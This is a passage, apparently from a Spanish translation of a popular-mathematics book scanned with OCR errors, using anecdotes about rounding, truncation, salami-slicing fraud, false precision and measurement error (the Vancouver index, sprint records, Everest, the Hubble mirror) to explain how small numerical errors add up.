argumento al que agarrarse. Existe una interesante interaccion entre las leyes
de las matematicas y la legislacion. Hace unos afios, recibi una llamada
telefénica de un abogado que queria hablar sobre redondeos y porcentajes.
Estaba trabajando en un caso sobre una patente de un producto que utilizaba
una sustancia con una concentracion de un 1%. Otros habian empezado a
fabricar un producto parecido, pero utilizando una concentracién del 0,77%
de la sustancia en cuestion. El propietario de la patente original los llevo a
juicio porque creian que la cifra de 0,77% se redondea al 1% y, por lo tanto,
infringia su patente.

Pensé que era un tema muy interesante porque, si el redondeo se hacia, en
efecto, inocentemente al punto porcentual mas cercano, entonces, si, el 1%
incluiria el 0,77%. Utilizando este sistema, toda cifra entre 0,5% y 1,5% se
redondea a 1%. Pero, dada la naturaleza cientifica de la patente, sospeché que
estaba especificada técnicamente a una cifra significativa. Y eso es diferente:
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redondear a una cifra significativa hace que todo aquello entre 0,95% y 1,5%
pase a ser 1%. Pero si cambiamos la definicion del redondeo, el umbral mas
bajo pasa a ser de repente mucho mas cercano y excluye el 0,77%. Y,
efectivamente, el 0,77% redondeado a una cifra significativa es 0,8%. No
estaria infringiendo la patente.

Fue muy divertido explicarle a un abogado cémo redondear a una cifra
significativa provoca un rango asimétrico de valores alrededor del punto de
redondeo. Es una peculiaridad del modo en que escribimos los nuimeros.
Cuando un ntmero sube un valor posicional en nuestro sistema de base 10,
los nimeros hasta un 50% mayores que él, pero solo hasta un 5% menores, se
redondean a ese valor. Todo lo que hay entre 99,5 y 150 se redondea para dar
100. Asi que, si alguien le promete a usted 100 euros (una cifra significativa),
puede reclamarle 149,99 euros. De ahora en adelante, llamaré a esto «hacer
un Donald».

Habiendo al menos intentado comprender lo que estaba diciendo, el
abogado fue muy profesional y ni siquiera me dijo a cual de las partes del
caso representaba. Simplemente fue una leccion improvisada sobre el
redondeo. Pero unos afios después recordé esa llamada telefénica y senti
curiosidad sobre qué acabd sucediendo. Para llegar a una conclusion, busqué
por todas partes hasta que encontré el juicio y el fallo definitivo. {El juez
estaba de acuerdo conmigo! Consider6 que el numero que aparecia en la
patente tendria que haberse especificado hasta una cifra significativa, y, por lo
tanto, 0,77% era diferente de 1%. Asi acabd el caso mas importante de mi
carrera (redondeado al siguiente caso entero).

4 )

Forofos del 0,49

La administracion Trump consideré un coeficiente del 3,49 por una buena razén.
Aunque el 3,5 habria permitido incluso un margen mas amplio, habria resultado
ambiguo, ya que no se sabria si redondearlo hacia arriba o hacia abajo, mientras
que esta claro que un 3,49 se redondea hacia abajo.

Cuando se redondea al nimero entero mas cercano, todo lo que est4 por debajo
de 0,5 se redondea hacia abajo, y todo lo que esta por encima, hacia arriba. Pero 0,5
estd exactamente entre los dos nimeros enteros posibles, asi que no hay ganador
obvio.

La mayoria de las veces lo habitual es redondear 0,5 hacia arriba. Si hubiera
originalmente algo después del 5 (por ejemplo, si el nimero era algo asi como
0,5000001), entonces lo correcto es redondear hacia arriba. Pero redondear siempre
los 0,5 hacia arriba puede hinchar la suma de una serie de nimeros. Una solucién
es redondear siempre hacia el nimero par mas cercano, con la teoria de que ahora
cada 0,5 tiene una probabilidad aleatoria de ser redondeado hacia arriba o hacia

Pagina 166



abajo. Esto elimina el sesgo hacia arriba, pero ahora produce una desviacién hacia
los nimeros pares, lo cual podria, hipotéticamente, provocar otros problemas.
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Arreglando el problema técnico

En enero de 1982, la bolsa de Vancouver lanz6 un indice que media qué
cantidad de las diversas acciones que se habian intercambio valian la pena.
Un «indice» de un mercado bursatil es un intento de monitorizar los cambios
en los precios de una muestra de acciones como indicativo general sobre
como se esta moviendo el mercado. El indice FTSE 100 es un promedio
ponderado de las cien empresas mas importantes (por su valor de mercado
total) en la bolsa de Londres. El Dow Jones se calcula a partir de la suma de
los precios de las acciones de las treinta empresas mas importantes de Estados
Unidos (donde la General Electric esta desde inicios del siglo xx y Apple solo
desde 2015). La bolsa de Tokio tiene el indice Nikkei. Vancouver queria tener
su propio indice.

Asi que nacio el indice de la bolsa de Vancouver. No le pusieron el
nombre mas creativo para un indice bursatil, pero era compresible: el indice
era un promedio de mas o menos las 1.500 empresas que participaban en la
bolsa. Inicialmente, se le dio al indice un valor de 1.000 y, a partir de
entonces, el movimiento del mercado haria fluctuar el valor hacia arriba o
hacia abajo. Excepto que fue mucho mas hacia abajo que hacia arriba. Incluso
cuando parecia que al mercado le iba bien, el indice de la bolsa de Vancouver
seguia cayendo. En noviembre de 1983, cerr6 una semana con 524,811
puntos, casi la mitad de su valor inicial. Pero el mercado bursatil no habia
caido a la mitad de su valor. Algo estaba mal.

El error estaba en el modo en el que los ordenadores realizaban los
calculos del indice. Cada vez que cambiaba el valor de alguna accion, algo
que ocurria unas tres mil veces cada dia, el indice actualizaba su valor
mediante un calculo. Este calculo producia un valor con cuatro cifras
decimales, pero la version que se daba del indice al publico tenia solo tres; el
ultimo digito se eliminaba. Hay que aclarar que el valor no se redondeaba:
simplemente se descartaba el ultimo digito. Este error no se hubiera
producido si los valores se hubieran redondeado (lo cual hubiera sido tantas
veces hacia arriba como hacia abajo), en lugar de recortado. Cada vez que se
realizaba un calculo, el valor del indice bajaba un poquito.

Cuando la bolsa se percatd de lo que estaba sucediendo, llamaron a
algunos asesores a los que les llevo tres semanas recalcular cual tendria que
haber sido el indice sin el error. Durante una noche, en noviembre de 1983 y
después de recalcularlo, el indice pas6 del incorrecto 524,811 a 1.098,892.
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Eso supone un incremento de 574,081 durante una noche sin estar asociado a
ningtin cambio producido en el mercadol!’l. No tengo ni idea de cémo
respondieron los operadores a un salto inesperado como ese; como si hubiera
sido una especie de anticrac. En lugar de saltar, entraron por la ventana y
expulsaron cocaina por sus narices.

Usted también puede utilizar los redondeos en sus miniestafas. Digamos
por ejemplo que alguien le presta 100 euros y le promete devolvérselo en un
mes con un 15% de intereses. Eso haria un total de 15 euros de intereses.
Pero, dado que usted es supergeneroso, le ofrece calcular el interés una vez al
dia durante los 31 dias del mes que tiene para devolver el dinero y, para
simplificar las cosas (porque, ;quién quiere vérselas con unas matematicas
complicadas?), todos los calculos se redondearan hacia la cifra de euro mas
cercana.

Sin redondeos, el interés compuesto durante un mes seria de 16,14 euros
y, si lo que hacemos es redondear hacia la cifra entera de euro mas cercana
es... 0. Ningun interés. Dividido entre 31 dias, el 15% es 0,484% por dia. Por
lo que, después del primer dia, el dinero que debe asciende a 100,484 euros,
pero, dado que redondea hacia la cifra entera mas cercana, esos 0,484 euros
desaparecen y de nuevo debe 100 euros. Esto se repite cada dia y su deuda
nunca acumula interés alguno. También tiene el efecto colateral de redondear
hacia abajo el nimero de personas que le prestaran dinero a coste cero.

Si se redondean los suficientes nimeros en una cantidad diminuta, aunque
cada redondeo individual pueda ser demasiado pequefio para que se note, se
puede producir un resultado acumulado considerable. El término «salami
slicing» (recorte progresivo) se utiliza para referirse a un sistema en el que se
va quitando algo gradualmente pero cada vez es una cantidad tan pequefia que
casi es imperceptible. Cada rodaja que se le quita al salami puede ser tan
delgada que el salami no parece diferente, por lo que, si se repite las
suficientes veces, se puede haber cortado, con sutileza, un buen pedazo. El
salami también es una buena analogia porque esta compuesto por carne
picada, por lo que todas las rodajas de salami se podrian recomponer a
posteriori y formar de nuevo una salchicha funcional. Y me gustaria dejar
bien claro que no estoy intentando meter la frase «salchicha funcional» en
este libro por una apuesta.

Un ataque mediante un redondeo a la baja con un recorte progresivo
formaba parte del argumento de la pelicula de 1999 Trabajo basura (y lo
mismo ocurria en Superman III). Los protagonistas alteran el codigo
informatico de una empresa para que, cuando se calcule el interés, en lugar de
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redondearse hacia el penique mas cercano el valor sea truncado y las
fracciones restantes de un penique fueran depositadas en su cuenta. Al igual
que ocurrio con el indice de la bolsa de Vancouver, este caso podria haber
pasado inadvertido mientras las fracciones de esos peniques se iban sumando
gradualmente.

Parece ser que la mayoria de estafas del mundo real que utilizan el recorte
progresivo utilizan cantidades mas grandes que simples fracciones de un
penique, pero siguen operando por debajo del umbral a partir del cual la gente
se da cuenta y se queja. Un malversador de un banco escribié un software
para retirar veinte o treinta centavos de cuentas al azar, nunca atacando a la
misma cuenta mas de tres veces en un afio. Dos programadores de una
empresa de Nueva York incrementaron las retenciones fiscales en todos los
cheques que pagaba la empresa en dos centavos cada semana, pero enviaban
el dinero a sus propias cuentas de retenciones por lo que ingresaban todo ese
dinero como devolucién de impuestos al final del afio. Existen rumores de que
un empleado de un banco canadiense utiliz6 la estafa del redondeo de
intereses para hacerse con 70.000 délares (y solo fue descubierto cuando el
banco busco la cuenta mas activa para concederle un premio), pero no he
podido encontrar ninguna prueba que respalde esa historia.

Con esto no estoy diciendo que no existan efectos del recorte progresivo
que puedan causar problemas. Las empresas de Estados Unidos tienen que
retener un 6,2% del sueldo de sus empleados como impuestos de la Seguridad
Social. Si una compaiiia tiene suficientes empleados, calcular el 6,2% que
deben individualmente y redondear cada pago podria dar un total ligeramente
diferente de si el total de las nominas se multiplicara por 6,2%. Dispuesto a
no pasar por alto ningun truco, el Servicio de Impuestos Internos tiene una
opcion de «ajuste de fracciones de céntimos» en los formularios de los
impuestos de las empresas para asegurarse de esta forma de que se contabiliza
hasta el dltimo centavo.

El cambio de moneda también puede causar problemas, ya que los valores
mas pequefios de los diferentes paises son distintos. Una buena parte de
Europa utiliza el euro como moneda (cada euro equivale a cien céntimos),
pero Rumania sigue utilizando el leu (un leu son cien bani). Cuando estoy
escribiendo esto, el tipo de cambio es de 4,67 lei (plural de leu) por un euro,
lo que significa que un céntimo de euro vale mas que un bani. Si llevaramos
dos bani a una casa de cambio de moneda, redondearian a cero céntimos y no
nos darian nada. O es posible hacer que el redondeo vaya a nuestro favor y
ocultarlo en una transaccion menos sospechosa: 11 leu equivalen a 2,35546
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euros, que se redondearian hacia arriba y nos darian 2,36 euros. Al cambiarlo
de nuevo obtendriamos 11,02 lei. Suponiendo que no haya cargos por la
transaccion, tenemos 2 bani de beneficio neto.

En 2013, el doctor rumano Adrian Furtuna, investigador en seguridad,
intent6 algo parecido: hacer transacciones de moneda a través de un banco en
el que el redondeo del euro le reportaria alrededor de medio céntimo cada
vez. Pero el banco que Furtuna estaba utilizando requeria un codigo de un
dispositivo de seguridad para cada transacciéon, por lo que construyd un
aparato que tecleara automaticamente los numeros requeridos en su
dispositivo para cada transaccion y leyera el cédigo que le enviaban. Esto
significa que podia colocar 14.400 transacciones por dia, con lo que obtenia
68 euros diarios. En realidad, nunca lo hizo: Furtuna habia sido contratado
por el banco para que pusiera a prueba su seguridad y no tenia permiso para
intentarlo con el sistema bancario real.

Yo, por otro lado, intenté mi propio «recorte progresivo» en el mundo real
cuando vivia en Australia. En 1992, Australia retir6 de la circulacion las
monedas de uno y dos céntimos, por lo que la cantidad utilizable mas pequefia
cuando se pagaba en metalico es ahora una moneda de cinco céntimos. Por lo
tanto, al pagar en metalico el coste total se redondea hacia arriba o hacia abajo
para llegar a la cifra de cinco céntimos mas cercana. Mi plan era sencillo:
pagaba en metdlico siempre que el redondeo fuera a mi favor, es decir hacia
abajo, y pagaba con tarjeta cuando se hubiera redondeado hacia arriba. Mas o
menos en la mitad de mis compras jestaba ahorrando centavos! Era una
especie de genio criminal en pequefio.

Errores a la carrera

El récord mundial de los 100 metros lisos es uno de los logros deportivos mas
prestigiosos, y la Federacion Internacional de Atletismo (IAAF por sus siglas
en inglés) lo lleva registrando desde hace mas de un siglo. Cuando, en 1912,
la TAAF empezo a registrar los tiempos, el récord masculino era de 10,6
segundos y se ha ido rebajando desde entonces. En 1968 bajo hasta los 9,9
segundos, rompiendo por fin la barrera de los diez segundos. Y entonces, el
velocista norteamericano Jim Hines bati6 de nuevo el récord mundial
dejandolo en 9,95 segundos. Que era un tiempo mayor que el anterior récord.
El tiempo marcado por Jim Hines en 1968 de 9,95 segundos fue el primer
récord mundial en el que se utilizaron dos cifras decimales y, de esta manera,
batio el anterior récord del mundo de 9,9 segundos registrado hacia cuatro
meses. Acababa de empezar el cronometraje electronico, que daria lugar a un
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nuevo nivel de precision: las centésimas de segundo. El récord anterior de 9,9
segundos también pertenecia a Hines, por lo que, al parecer, cuando se
instaur6 el uso del cronometraje electronico cambiaron su récord para que
fuera el peor posible que pudiera seguir registrado como 9,9 segundos
redondeado a la décima de segundo mas cercana.

El material utilizado para el cronometraje siempre ha influido en los
récords medidos. En la década de 1920, se utilizaban tres relojes diferentes
controlados manualmente para evitar los errores de cronometraje. Pero solo
eran precisos hasta la quinta parte de segundo mas cercana, por lo que el
récord de 10,6 segundos se estableci6 en julio de 1912, y los 10,4 segundos
no se alcanzaron hasta abril de 1921. Suponiendo que los velocistas eran cada
vez mejores a un ritmo constantel18l, he calculado que, alrededor de junio de
1917, algin pobre corredor seguramente corrio los 100 metros en 10,5
segundos, pero ninguin reloj era lo suficientemente bueno para dejar
constancia de ello.

También se cambio la precision cuando se pasé de tomar el tiempo de
manera manual a hacerlo electronicamente. Es mas acertado confiar tanto la
salida como la llegada a un crondémetro electrénico que a los humanos, con
sus tiempos de reaccion tan poco rigurosos. A menudo, la precision y la
exactitud van de la mano, pero son dos cosas muy diferentes. La precision es
el nivel de detalle dado, y la exactitud es cuan verdadero es algo. Yo puedo
decir con exactitud que naci en la Tierra, pero no es algo muy preciso. Puedo
decir con precision que naci en la latitud 37.229°N, longitud 115.811°W, pero
eso no es del todo exacto. Lo que nos da un montén de espacio para
maniobrar cuando respondemos preguntas si quien pregunta no nos pide que
seamos precisos y exactos. Siendo exacto puedo decir, por ejemplo, que
alguien se ha bebido toda la cerveza. Siendo preciso diria que un albanés que
tiene varios récords mundiales de Tetris se ha bebido toda la cerveza. Pero
preferiria no ser preciso y exacto al mismo tiempo, ya que podria
incriminarme.

Por lo tanto, mientras que el aumento de la exactitud nos posibilita tener
récords del mundo de 100 metros lisos mas exactos, el aumento de la
precision nos da mas récords. Durante las dos décadas que van de 1936 a
1956, once personas diferentes igualaron la marca de 10,2 segundos, hasta
que, finalmente, alguien la bajé a 10,1 segundos. Con la precision afiadida
que ofrece el cronometraje electronico, muchas de esas personas podrian
haber logrado sus propios récords mundiales.
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No hay razén alguna por la que no pudiéramos tener sistemas de
cronometraje mas precisos en el futuro y tener la misma situacion al pasar de
centésimas de segundo a milisegundos. Creo que eso sucedera cuando los
récords estén cerca del limite de la capacidad humana. Cuando los humanos
no podamos mejorar mas, no importa cuantas carreras tengamos ni lo similar
que sea el nivel de todos los velocistas, siempre habra otra posiciéon decimal
de precision por la que competirl19],

El récord de 100 metros lisos no es el unico caso de competiciones de
velocidad que se ha visto afectado por el redondeo. Me topé con una persona
que fue capaz de hacer una estafa cuando apostaba en las carreras de galgos
en algun momento antes de 1992. Al tratarse de un chanchullo ilegal, no he
tenido mucha suerte intentando verificar la historia. Todo lo que tengo es un
correo anonimo del 6 de abril de 1992 al Forum on Risks to the Public in
Computers and Related Systems. El Risks Digest es un boletin de noticias de
internet que empezo en 1985 y que sigue activo. Por regla general, evito
historias infundadas, pero esta es demasiado divertida para pasarla por alto. Si
alguien puede confirmarla o refutarla, me encantaria que me lo dijese.

Segun dicen, los corredores de apuestas de L.as Vegas estaban utilizando
un sistema informatico para realizar sus apuestas en las carreras de galgos. El
sistema permitia que se colocaran apuestas hasta la hora limite oficial, que,
segun establecia la ley de Nevada, era de unos pocos segundos antes de que se
abrieran las puertas y los galgos empezaran a correr. Después de este
intervalo de tiempo, se consideraba que la carrera habia empezado, por lo que
no se permitian mas apuestas. Una vez que habia acabado la carrera, se
anunciaba el ganador. Por lo que los pasos clave eran: las apuestas se habrian
«cerrado», la carrera habria «empezado» y el ganador se habria «anunciado».

El problema era que el software utilizado se habia adaptado de otro
software utilizado en las carreras de caballos. En el estado de Nevada, el
tiempo de «cierre» para una carrera de caballos era cuando el primer caballo
entraba en su puesto de salida, lo cual podia pasar unos minutos antes de que
empezase la carrera. Después del «inicio» de la carrera de caballos, pasaban
unos minutos hasta que esta se acababa y se «anunciaba» el ganador. El
sistema almacenaba el tiempo solo en horas y minutos, pero era lo
suficientemente preciso para garantizar que nadie pudiera seguir colocando
apuestas después de que hubiera empezado la carrera de caballos.

En el mundo de la alta velocidad de las carreras de galgos, las apuestas
para una carrera se podian cerrar, la carrera empezar y el ganador anunciar en
un minuto. Por lo que la carrera ya podria tener ganador, pero podria ser que
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el sistema no hubiera registrado todavia el cierre de apuestas porque el minuto
no habia cambiado. Algunas personas astutas se dieron cuenta de que podian
esperar a ver qué galgo habia ganado la carrera y todavia apostar por él.

La importancia de las cifras

Los humanos desconfiamos mucho de los numeros redondos. Estamos
acostumbrados a que los datos sean muy confusos y poco claros.
Interpretamos los nimeros redondos como una sefial de que los datos han sido
redondeados. Si alguien dice que el camino hasta su trabajo tiene 1,5
kilometros, sabemos que no es que sean 1.500 metros, sino que mas bien ha
redondeado hasta el medio kilometro mas cercano. Sin embargo, si dijeran
que su camino al trabajo es de 149.764 centimetros, pensariamos que ha
llevado la procrastinacion a un nivel de récord.

En 2017 se propago la idea de que, si Estados Unidos cambiara toda su
produccion de electricidad proveniente del carbon a hacerlo a partir de la
energia solar, se salvarian 51.999 vidas cada afio, un numero especifico un
poco extrafio. Da la impresion de que no ha sido redondeado; ifijese en todos
esos nueves! Pero a mi me da la impresion de que se trata de dos nimeros de
diferente tamafio que se han combinado y han dado como resultado un nivel
innecesario de precision. He mencionado en este libro que el universo tiene
13.800 millones de antigiiedad. Pero eso no quiere decir que si lo esta leyendo
tres afios después de su publicacion el universo tenga ahora 13.800.000.003
afios. Los numeros con diferentes 6rdenes de magnitud (el tamafio de los
nimeros) no se pueden sumar y restar entre ellos de forma significativa.

La cifra de 51.999 era la diferencia entre las vidas salvadas si no se
utilizara el carbon y las muertes causadas por la energia solar. Una
investigacion previa de 2013 habia llegado a la conclusién de que las
emisiones de las centrales eléctricas que utilizan carb6n como combustible
provocaban unas 52.000 muertes al afio. La industria solar fotovoltaica era
todavia demasiado escasa para tener ninguna muerte registrada. Por lo que los
investigadores utilizaron las estadisticas procedentes de la industria de los
semiconductores (cuyos procesos de produccién eran muy parecidos y
también utilizan productos quimicos peligrosos) para calcular que la
fabricacion de paneles solares causaria una muerte por afo. Asi nos salen
51.999 vidas salvadas por afio. Facil.

El problema era que el valor inicial de 52.000 era una cifra redonda con
solo dos cifras significativas y ahora, de repente, tenia cinco. Consulté el
estudio de 2013, y la cifra original era de 52.200 muertes al afio. Y esa ya era
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una aproximacion (para todos los aficionados a las estadisticas, el valor de
52.200 tiene un intervalo de confianza del 90%, de 23.400 a 94.300). La
investigacion de 2013 sobre las muertes en el caso de las centrales eléctricas
que utilizan carbon se habia redondeado a la cifra de 52.000 pero, si
revertimos el redondeo a 52.200, entonces, la energia solar, jpuede salvar
52.199 vidas! {Hemos salvado a doscientas personas mas!

Puedo adivinar por qué, por razones politicas, se utiliz6 la cifra de 51.999:
para llamar la atencion sobre la Gnica muerte esperada por la produccion de
paneles solares y de esa forma enfatizar lo segura que es. Y esa precision
extra hace que un nimero parezca mas indiscutible. La menor precision de un
numero redondo hace que parezca que es menos exacto, incluso a pesar de
que, por lo general, no es asi. Esos ceros al final de la cifra también pueden
formar parte de su precisién. Una de cada millon de personas vivira sin darse
cuenta a un numero exacto de kilometros (de puerta a puerta) de su trabajo,
ajustada al milimetro mas cercano.

La primera altura oficial del monte Everest era de 29.002 pies (8.840
metros). Esta es la clase de cifra especifica que esperarias después de décadas
de mediciones y calculos. En 1802, los britanicos iniciaron el Gran Proyecto
de Topografia Trigonométrica (GTS por sus siglas en inglés), un estudio
integral del subcontinente indio. En 1831, Radhanath Sikdar, un prometedor
estudiante de matematicas de Calcuta que sobresalia en la trigonometria
esférica necesaria para los estudios geodésicos, se uni6 al GTS.

En 1852, Sikdar estaba trabajando con los datos procedentes de una
cadena montafiosa cercana a Darjeeling. Utilizando seis medidas diferentes
para calcular la altura del «Pico XV», el nimero final fue de alrededor de
29.000 pies. Irrumpié en el despacho de su jefe para decirle que habia
descubierto la montafia mas alta del mundo. Por entonces, el GTS estaba
dirigido por Andrew Waugh, quien, después de varios afios comprobando la
altura, anunci6 en 1856 que el Pico XV era la montafia mas alta del mundo y
la bautizo con el apellido de su predecesor, George Everest.

Pero se rumoreaba que el numero original de Sikdar era exactamente
29.000 pies. En este caso, todas esas eran cifras importantes, pero el publico
no las veria asi. Supondrian que el valor seria «aproximadamente 29.000
pies». Y la gente no aceptaria que se reivindicase el titulo de montafia mas
alta del planeta si los calculos parecian insuficientemente precisos. Por lo que
se afiadieron dos pies ficticios. Al menos, es asi como se cuenta la historia. La
altura oficial registrada en 1856 fue definitivamente 29.002 pies, pero no he
podido encontrar ninguna prueba de que los célculos iniciales dieran una cifra
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de 29.000 pies exactos. Ni tampoco de dénde sali6 el rumor sobre el
redondeo.

Pero incluso si este caso concreto no es cierto, no dudo de que muchos
valores aparentemente precisos han sido modificados sutilmente desviandolos
de un numero accidentalmente redondo para hacerlos parecer tan precisos
como son realmente.

4 )

Importancia significativa

En febrero de 2017, la BBC present6 un informe de la Oficina Nacional de
Estadistica (ONS por sus siglas en inglés) en el que se decia que en los tres dltimos
meses de 2016 «el desempleo en el Reino Unido bajé en 7.000 personas, situdndose
en 1,6 millones de personas». Pero este cambio de siete mil estd muy por debajo del
nimero de 1,6 millones que se habia redondeado. El matemdtico Matthew Scroggs
sefialé rapidamente que, basicamente, lo que la BBC estaba diciendo era que el
desempleo habia pasado de 1,6 millones a 1,6 millones.

Un cambio por debajo de la precision del nimero original carece de sentido.
Algunas personas sefialaron que un cambio de siete mil puestos de trabajo estaba
dentro del ambito de una uUnica empresa que hubiese cerrado y que no era un
nimero significativo para esperar que produjese cambios en la economia en su
conjunto. Y asi es, y es la razén por la que la ONS estaba redondeando los ntimeros
de desempleados hacia el cien mil més cercano desde el principio.

Mas adelante, la BBC actualiz6 el articulo afladiendo detalles sobre las estadisticas
originales que habia presentado la ONS:

La ONS esta segura al 95% de que su calculo de la caida del desempleo en 7.000
personas es correcto en una variacién maxima de 80.000, por lo que se considera
que la caida no es estadisticamente significativa.

Por lo que, en realidad, la ONS estaba segura de que el desempleo habia cambiado
entre un incremento de 73.000 y un descenso de 87.000. En otras palabras, los
niveles de desempleo no habian cambiado mucho, y parecia que podian ser un
poquito mejores en lugar de peores. Ese es un mensaje diferente a dar una
estadistica a toda prisa de «el desempleo cay6 en 7.000» y me alegro de que la
BBC actualizara el articulo para afiadir mas detalles.

o %

Agrupados

Cambiar los relojes al horario de verano puede causar un monton de estrés a
las personas. Si se olvida, llegara al trabajo una hora antes y se sentira
avergonzado, o una hora tarde e igual le despiden. En mi caso, espero el dia
en el que hay que atrasar los relojes ya que asi tengo una hora mas para
dormir. Excepto que yo no lo despilfarro de golpe: lo guardo durante un par
de dias, hasta que lo necesite de verdad. Estoy considerando seriamente quitar
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una hora cada noche del viernes, cuando apenas tendria consecuencias, y
utilizarla los lunes para asi poder quedarme una hora mas en la cama.

Adelantar los relojes una hora no tiene las mismas ventajas: desaparece
una hora de nuestras vidas. Pero estar un poco sofioliento no es lo peor que
nos puede pasar; el lunes posterior al adelanto de la hora hacia delante se
producen un 24% mas de ataques al corazon. El horario de verano mata
personas, literalmente.

O, mejor dicho, mata personas, literalmente, en ese dia especifico. El
lunes posterior al adelanto de la hora, cuando se pierde una hora de suefo, se
produce un aumento de casos de ataques cardiacos por encima de la media
esperada para un lunes (que ya de por si es el dia en el que se producen mas
ataques de corazon). Y el martes después de que se hayan retrasado los
relojes, lo que nos da una hora mas para dormir, los ataques al corazon
disminuyen un 21%. Tiene que ver con los cambios de los horarios. No es un
caso en el que el combinar numeros y redondearlos produzca un problema,
sino, mas bien, que al agrupar todos los datos se pone de manifiesto qué es lo
que esta pasando realmente.

Ha habido estudios anteriores en los que se demostraba que los ataques al
corazon parecian estar relacionados con el cambio al horario de verano, por lo
que la Universidad de Michigan puso a sus mejores especialistas
cardiovasculares a trabajar en ello. Analizaron la base de datos del Blue Cross
Blue Shield del Consorcio Cardiovascular de Michigan, fijandose en todos los
cambios de hora realizados entre marzo de 2010 y septiembre de 2013. En
este estudio se controlaron toda clase de factores, incluyendo la compensacion
del hecho de que un dia de veinticinco horas va a tener un 4,2% extra de todo.

Pero lo que hace que los resultados sean engafiosos es lo grande que es la
ventana. Ese incremento del 24% resulta de agrupar todos los ataques de
corazéon durante todo el dia en la misma categoria. Los investigadores
buscaron cual era el nimero promedio de ataques al corazon en un lunes de
diferentes épocas a lo largo del afio, y el lunes siguiente al cambio al horario
de verano estaba un 24% por encima de lo esperado. Pero, si en lugar de
fijarnos en un solo dia nos fijamos en toda la semana, el efecto desaparece por
completo. Las semanas posteriores a los cambios al horario de verano
mostraban el nimero esperado de ataques al corazon. Solo que se distribuian
de forma diferente durante la semana.

Parece ser que cuando los relojes se adelantan y nos privan de suefio, se
producen mas ataques al corazon, pero solo en personas que, de todas formas,
lo habrian tenido en cualquier otro momento. Simplemente, el ataque al
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corazén se produjo antes. E, igualmente, cuando se atrasan los relojes y
tenemos un descanso extra, los ataques al corazon tardan algo mas en
aparecer. Esta podria ser una informacion relevante para la organizacion de
los horarios en un hospital, de tal forma que se pudiese contar con mas
personal cuando se adelantan los relojes, pero eso no quiere decir que el
adelanto de la hora sea peligroso en si mismo.

Por lo tanto, ahora sabemos que cuando los relojes se adelantan y atrasan
no se incrementa el nimero de ataques al corazén (sino que, en cambio, la
falta de suefio puede acelerar la aparicion de un ataque al corazéon que se
habria producido igualmente). Me enoja que siempre que se discute en los
medios de comunicacion sobre el cambio al horario de verano, aparezca esta
estadistica sobre los ataques al corazén sin hacer mencion alguna a que es
engafosa y que lo que habria que utilizar es el nimero de ataques por semana.
Ocurri6 incluso (en un programa de la radio de la BBC) mientras estaba
escribiendo este libro, y me estres6 muchisimo. Ironicamente, el mal uso de
esta estadistica en los medios de comunicacion cada vez que llega el cambio
al horario de verano, jseguramente incrementa mis probabilidades personales
de tener un ataque al corazon!
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9,49

TAN PEQUENO QUE PASA INADVERTIDO

En algunas ocasiones los pedacitos aparentemente insignificantes que se
pierden en el redondeo o en un promedio son muy importantes. Mientras la
precision en la ingenieria moderna mejora continuamente, los humanos se
encuentran a si mismos trabajando con maquinas que manejan tolerancias que
van mas alla de lo que podemos ver con nuestros 0jos o tocar con nuestras
manos.

Cuando, en 1990, el telescopio espacial Hubble fue puesto en orbita con
un coste de mil quinientos millones de ddlares, las primeras imagenes que
mand6é fueron decepcionantes. Estaban desenfocadas. El corazén del
telescopio estaba formado por un espejo de 2,4 metros de ancho que se
suponia que era capaz de enfocar al menos el 70% de la luz procedente de las
estrellas en un punto focal, logrando asi una imagen nitida. Pero result6 que
solo enfocaba entre el 10% y el 15% de la luz, produciendo una imagen
borrosa.

La NASA se puso a trabajar a toda prisa para averiguar qué estaba
fallando. Después de muchos quebraderos de cabeza, los ingenieros y los
expertos en optica dedujeron que el espejo debia de tener una forma
incorrecta. Cuando se fabrico, al espejo se le dio una forma parabodlica y no
era del todo adecuada. Similar, en parte, a un edificio reflectante expuesto al
ardiente sol, un paraboloide es la forma perfecta para concentrar toda la luz
entrante en un punto pequefio. Pero para crear una imagen nitida es necesaria
mas exactitud que la necesaria para dirigir un rayo hacia un limén con la
suficiente luz y quemarlo. El espejo necesitaba ser un paraboloide exacto de
un tipo muy especifico.
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Lo que capté inicialmente el Hubble y como se deberia haber visto.

El equipo que investigaba el problema tuvo en consideracion toda clase de
errores, incluyendo el hecho de que el espejo se fabricé con 1G de gravedad y
ahora estaba operando a 0G. Resulta que el espejo se fabric6 y mont6 sin
problema alguno. Después de muchos analisis se determind que el espejo
principal del Hubble tenia una constante conica (una medida que hace
referencia a la parabola) de —1,0139 cuando tenia que ser de —1,0023.

Esa diferencia no se notaba a simple vista. Los bordes del espejo de 2,4
metros median 2,2 micrometros menos de lo que deberian. Eso son 2,2
milésimas de un milimetro. Para construir el espejo con semejante precision,
se habian hecho rebotar rayos de luz en su superficie, formando patrones
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complejos de interferencia que cambiaban con la mas minima variacion en la
distancia. Era una operacion tan delicada que se tenia que utilizar la longitud
de onda de la luz para medir la forma.

Espejo principal del Hubble cuando se estaba fabricando. «Puedo verme puliendo ese espejo».

El error estaba en las dpticas que dirigian la luz sobre el espejo para
analizar su forma. Habian sido dispuestas de tal forma que darian una
constante conica erréonea; el informe oficial hablaba de un desvio de 1,3
milimetros. Las noticias decian que el error fue una arandela puesta en el
lugar incorrecto, pero eso no aparece en el informe oficial. Se envié una
mision para reparar el telescopio espacial para afadir la Optica correctora.
Una especie de lentillas para un telescopio espacial.

4 )

La Meca de los errores

Muchos sistemas son lo suficientemente precisos la mayor parte del tiempo, pero
fallan en los «casos extremos», cuando los errores se amplifican. Una aplicacién
que sefiala hacia La Meca tiene que saber, a la vez, dénde estan el teléfono y La
Meca, pero solo con una precision baja, suficiente para sefialar en la direccion
correcta desde la mayoria de lugares del planeta. Hasta que alguien la utiliza cerca
de la Kaaba (un edificio situado en el centro de la mezquita mas importante del
islam).
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Perderia toda la fe en esa aplicacion.

o J

Si el tornillo encaja

He comprado algunas cosas muy raras en internet durante los ultimos afios,
pero nada fue tan dificil de encontrar en paginas web especializadas y muy
poco conocidas como los dos montones de tornillos del escritorio que tengo
delante de mi. A la izquierda tengo algunos tornillos A211-7D y a la derecha
algunos del modelo A211-8C. Estan en mi escritorio como resultado de haber
contactado con diversos proveedores de componentes y equipamiento
aeroespacial. En la siguiente foto aparece uno de cada tipo.

Tuve que ser cuidadoso para poder localizarlos, ya que es dificil
distinguirlos. Los paquetes en los que vienen estan etiquetados, pero, una vez
que los has sacado de sus cajas no hay marca alguna en los tornillos para
saber si se trata de un 7D o un 8C. En teoria, el 7D mide 0,026 pulgadas mas
de ancho (unos 0,66 milimetros) que el 8C, pero, una vez que los tengo entre
mis dedos, me es muy dificil decir cual es cual. La rosca del 7D también es
